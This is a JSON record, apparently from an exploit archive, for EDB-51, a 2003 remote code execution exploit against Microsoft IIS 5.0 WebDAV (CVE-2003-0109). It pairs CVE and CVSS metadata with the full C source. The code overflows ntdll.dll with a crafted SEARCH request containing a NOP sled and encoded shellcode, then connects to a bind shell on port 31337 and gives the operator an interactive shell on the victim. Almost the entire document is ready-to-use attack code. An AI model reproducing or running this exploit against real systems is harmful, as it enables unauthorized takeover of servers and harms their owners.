{"exploit":{"id":"EDB-51","name":"Microsoft IIS 5.0 - WebDAV Remote Code Execution (RCE) (3) (xwdav)","description":"Microsoft IIS 5.0 - WebDAV Remote Code Execution (RCE) (3) (xwdav)","cves":["CVE-2003-0109"],"author":"Schizoprenic","published":"2003-07-08","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/51","path":"exploits/windows/remote/51.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-51.c","vulnerabilities":[{"id":"CVE-2003-0109","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in ntdll.dll on Microsoft Windows NT 4.0, Windows NT 4.0 Terminal Server Edition, Windows 2000, and Windows XP allows remote attackers to execute arbitrary code, as demonstrated via a WebDAV request to IIS 5.0.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0109","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0109"},"updatedAt":"2024-08-08T01:43:35.441Z","retrievedAt":"2026-11-26T11:47:22.472Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-51.png?v=2","url":"https://exploitbin.com/exploits/EDB-51","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-51/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-51/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * IIS 5.0 WebDAV Exploit Xnuxer Lab\n * By Schizoprenic, Copyright (c) 2003\n * WebDAV exploit without netcat or telnet and with pretty magic number as RET\n */\n\n#include <stdio.h>\n#include <errno.h>\n#include <string.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <netdb.h>\n#include <netinet/in.h>\n\n#define  RET             0xc9c9\n#define  LOADLIBRARYA    0x0100107c\n#define  GETPROCADDRESS  0x01001034\n#define  PORT_OFFSET     1052\n#define  LOADL_OFFSET    798\n#define  GETPROC_OFFSET  815\n#define  NOP             0x90\n\nunsigned char shellcode[] =            // Deepzone shellcode\n  \"\\x68\\x5e\\x56\\xc3\\x90\\x54\\x59\\xff\\xd1\\x58\\x33\\xc9\\xb1\\x1c\"\n  \"\\x90\\x90\\x90\\x90\\x03\\xf1\\x56\\x5f\\x33\\xc9\\x66\\xb9\\x95\\x04\"\n  \"\\x90\\x90\\x90\\xac\\x34\\x99\\xaa\\xe2\\xfa\\x71\\x99\\x99\\x99\\x99\"\n  \"\\xc4\\x18\\x74\\x40\\xb8\\xd9\\x99\\x14\\x2c\\x6b\\xbd\\xd9\\x99\\x14\"\n  \"\\x24\\x63\\xbd\\xd9\\x99\\xf3\\x9e\\x09\\x09\\x09\\x09\\xc0\\x71\\x4b\"\n  \"\\x9b\\x99\\x99\\x14\\x2c\\xb3\\xbc\\xd9\\x99\\x14\\x24\\xaa\\xbc\\xd9\"\n  \"\\x99\\xf3\\x93\\x09\\x09\\x09\\x09\\xc0\\x71\\x23\\x9b\\x99\\x99\\xf3\"\n  \"\\x99\\x14\\x2c\\x40\\xbc\\xd9\\x99\\xcf\\x14\\x2c\\x7c\\xbc\\xd9\\x99\"\n  \"\\xcf\\x14\\x2c\\x70\\xbc\\xd9\\x99\\xcf\\x66\\x0c\\xaa\\xbc\\xd9\\x99\"\n  \"\\xf3\\x99\\x14\\x2c\\x40\\xbc\\xd9\\x99\\xcf\\x14\\x2c\\x74\\xbc\\xd9\"\n  \"\\x99\\xcf\\x14\\x2c\\x68\\xbc\\xd9\\x99\\xcf\\x66\\x0c\\xaa\\xbc\\xd9\"\n  \"\\x99\\x5e\\x1c\\x6c\\xbc\\xd9\\x99\\xdd\\x99\\x99\\x99\\x14\\x2c\\x6c\"\n  \"\\xbc\\xd9\\x99\\xcf\\x66\\x0c\\xae\\xbc\\xd9\\x99\\x14\\x2c\\xb4\\xbf\"\n  \"\\xd9\\x99\\x34\\xc9\\x66\\x0c\\xca\\xbc\\xd9\\x99\\x14\\x2c\\xa8\\xbf\"\n  \"\\xd9\\x99\\x34\\xc9\\x66\\x0c\\xca\\xbc\\xd9\\x99\\x14\\x2c\\x68\\xbc\"\n  \"\\xd9\\x99\\x14\\x24\\xb4\\xbf\\xd9\\x99\\x3c\\x14\\x2c\\x7c\\xbc\\xd9\"\n  \"\\x99\\x34\\x14\\x24\\xa8\\xbf\\xd9\\x99\\x32\\x14\\x24\\xac\\xbf\\xd9\"\n  \"\\x99\\x32\\x5e\\x1c\\xbc\\xbf\\xd9\\x99\\x99\\x99\\x99\\x99\\x5e\\x1c\"\n  \"\\xb8\\xbf\\xd9\\x99\\x98\\x98\\x99\\x99\\x14\\x2c\\xa0\\xbf\\xd9\\x99\"\n  \"\\xcf\\x14\\x2c\\x6c\\xbc\\xd9\\x99\\xcf\\xf3\\x99\\xf3\\x99\\xf3\\x89\"\n  \"\\xf3\\x98\\xf3\\x99\\xf3\\x99\\x14\\x2c\\xd0\\xbf\\xd9\\x99\\xcf\\xf3\"\n  \"\\x99\\x66\\x0c\\xa2\\xbc\\xd9\\x99\\xf1\\x99\\xb9\\x99\\x99\\x09\\xf1\"\n  \"\\x99\\x9b\\x99\\x99\\x66\\x0c\\xda\\xbc\\xd9\\x99\\x10\\x1c\\xc8\\xbf\"\n  \"\\xd9\\x99\\xaa\\x59\\xc9\\xd9\\xc9\\xd9\\xc9\\x66\\x0c\\x63\\xbd\\xd9\"\n  \"\\x99\\xc9\\xc2\\xf3\\x89\\x14\\x2c\\x50\\xbc\\xd9\\x99\\xcf\\xca\\x66\"\n  \"\\x0c\\x67\\xbd\\xd9\\x99\\xf3\\x9a\\xca\\x66\\x0c\\x9b\\xbc\\xd9\\x99\"\n  \"\\x14\\x2c\\xcc\\xbf\\xd9\\x99\\xcf\\x14\\x2c\\x50\\xbc\\xd9\\x99\\xcf\"\n  \"\\xca\\x66\\x0c\\x9f\\xbc\\xd9\\x99\\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xf5\\xfc\\xfc\\xe9\\x99\\xda\"\n  \"\\xf5\\xf6\\xea\\xfc\\xd1\\xf8\\xf7\\xfd\\xf5\\xfc\\x99\\xdc\\xe1\\xf0\"\n  \"\\xed\\xc9\\xeb\\xf6\\xfa\\xfc\\xea\\xea\\x99\\xda\\xf6\\xfd\\xfc\\xfd\"\n  \"\\xb9\\xfb\\xe0\\xb9\\xe5\\xc3\\xf8\\xf7\\xb9\\xa5\\xf0\\xe3\\xf8\\xf7\"\n  \"\\xd9\\xfd\\xfc\\xfc\\xe9\\xe3\\xf6\\xf7\\xfc\\xb7\\xf6\\xeb\\xfe\\xa7\"\n  \"\\x9b\\x99\\x86\\xd1\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x95\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x98\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\xda\\xd4\\xdd\\xb7\\xdc\\xc1\\xdc\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x89\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\\x99\"\n  \"\\x99\\x99\\x99\\x99\\x99\\x99\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\";\n\nunsigned char jumpcode[] = \"\\x8b\\xf9\\x32\\xc0\\xfe\\xc0\\xf2\\xae\\xff\\xe7\";\nchar body[] = \"<?xml version=\\\"1.0\\\"?>\\r\\n<g:searchrequest xmlns:g=\\\"DAV:\\\">\\r\\n\"\n              \"<g:sql>\\r\\nSelect \\\"DAV:displayname\\\" from scope()\\r\\n</g:sql>\\r\\n\"\n              \"</g:searchrequest>\\r\\n\";\n\nvoid usage(char *prog)\n{\n   printf(\"Remote Exploit for IIS 5.0 WebDAV by Xnuxer\\n\"\n          \"Bug overflow NTDLL.DLL\\n\"\n          \"Usage: %s <victim>\\n\", prog);\n   exit(-1);\n}\n\nvoid shell(int sock)\n{\n fd_set  fd_read;\n char buff[1024];\n int n;\n\n while(1) {\n  FD_SET(sock,&fd_read);\n  FD_SET(0,&fd_read);\n\n  if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;\n\n  if( FD_ISSET(sock, &fd_read) ) {\n   n=read(sock,buff,sizeof(buff));\n   if (n == 0) {\n       printf (\"Connection closed.\\n\");\n       exit(EXIT_FAILURE);\n   } else if (n < 0) {\n       perror(\"read remote\");\n       exit(EXIT_FAILURE);\n   }\n   write(1,buff,n);\n  }\n\n  if ( FD_ISSET(0, &fd_read) ) {\n    if((n=read(0,buff,sizeof(buff)))<=0){\n      perror (\"read user\");\n      exit(EXIT_FAILURE);\n    }\n    write(sock,buff,n);\n  }\n }\n close(sock);\n}\n\nint main(int argc, char **argv)\n{\nstruct hostent *he;\nstruct sockaddr_in sock1;\nstruct sockaddr_in sock2;\nunsigned short port;\nunsigned long ret=RET;\nchar buffer[100000];\nint sock, sck, h,i,j;\n\n   if (argc != 2) usage(argv[0]);\n\n   printf(\"Resolving %s .. \", argv[1]);\n   if ((he = gethostbyname(argv[1])) == NULL)\n   {\n      fprintf(stderr, \"Unknown host\\n\");\n      exit(-1);\n   }\n\n   printf(\"Resolved\\n\");\n\n   port = htons(31337);\n   port ^= 0x9999;\n\n   *(unsigned short *)&shellcode[PORT_OFFSET] = port;\n   *(unsigned long *)&shellcode[LOADL_OFFSET] = LOADLIBRARYA ^ 0x99999999;\n   *(unsigned long *)&shellcode[GETPROC_OFFSET] = GETPROCADDRESS ^ 0x99999999;\n\n   bcopy(he->h_addr, &sock1.sin_addr, he->h_length);\n   sock1.sin_family = AF_INET;\n   sock1.sin_port = htons(80);\n\n   printf(\"[+] Attacking to %s via port: 80\\n\", argv[1]);\n\n   if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n      perror(\"Failed to create socket\");\n      exit(-1);\n   }\n\n   if (connect(sock, (struct sockaddr *)&sock1, sizeof(sock1)) == -1)\n   {\n      perror(\"Failed to connect\");\n      exit(-1);\n   }\n\n   bzero(buffer,100000);\n   strcpy(buffer,\"SEARCH /\");\n\n   i = strlen(buffer);\n   buffer[i] = NOP;\n\n   for (j=i+1; j < i+2150; j+=2)\n       *(unsigned short *)&buffer[j] = (unsigned short)ret;\n\n   for (; j < i+65535-strlen(jumpcode); j++)\n       buffer[j] = NOP;\n\n   memcpy(&buffer[j], jumpcode, strlen(jumpcode));\n   strcpy(buffer+strlen(buffer), \" HTTP/1.1\\r\\n\");\n   sprintf(buffer+strlen(buffer), \"Host: %s\\r\\nContent-Type: text/xml\\r\\n\"\n                                  \"Content-Length: %d\\r\\n\\r\\n\", argv[1], strlen(body)\n+ strlen(shellcode));\n   strcpy(buffer+strlen(buffer), body);\n   memset(buffer+strlen(buffer), 0x01, 1);\n   memset(buffer+strlen(buffer), NOP, 3);\n   strcpy(buffer+strlen(buffer), shellcode);\n\n   if (send(sock, buffer, strlen(buffer), 0) != strlen(buffer))\n   {\n      perror(\"Failed to send\");\n      exit(-1);\n   }\n\n   printf(\"[+] Overflow sent, waiting for 5 seconds\\n\");\n   sleep(5);\n\n   bcopy(he->h_addr, &sock2.sin_addr, he->h_length);\n   sock2.sin_family = AF_INET;\n   sock2.sin_port = htons(31337);\n\n   printf(\"[+] Connecting to %s: 31337\\n\", argv[1]);\n\n   if ((sck = socket(AF_INET, SOCK_STREAM, 0)) == -1) {\n      perror(\"Failed to create socket\");\n      exit(-1);\n   }\n\n   if (connect(sck, (struct sockaddr *)&sock2, sizeof(sock2)) == -1)\n   {\n      printf(\"[+] Unable to connect.\\n\"\n             \"[+] Exploitation failed, maybe blocked by firewall.\\n\");\n      close(sock);\n      close(sck);\n      exit(-1);\n   }\n\n   close(sock);\n   printf(\"[+] Successfull, attempting to join shell ...\\n\\n\");\n   shell(sck);\n   return 0;\n}\n\n// milw0rm.com [2003-07-08]","sha256":"0c8f21c40b615f3afb0cabe0479c24e4775faa053c7d9eb7584896f0f745bb54","bytes":9705,"fetchedAt":"2026-11-26T14:06:43.470Z","encoding":"utf-8 (display only; download retains original bytes)"}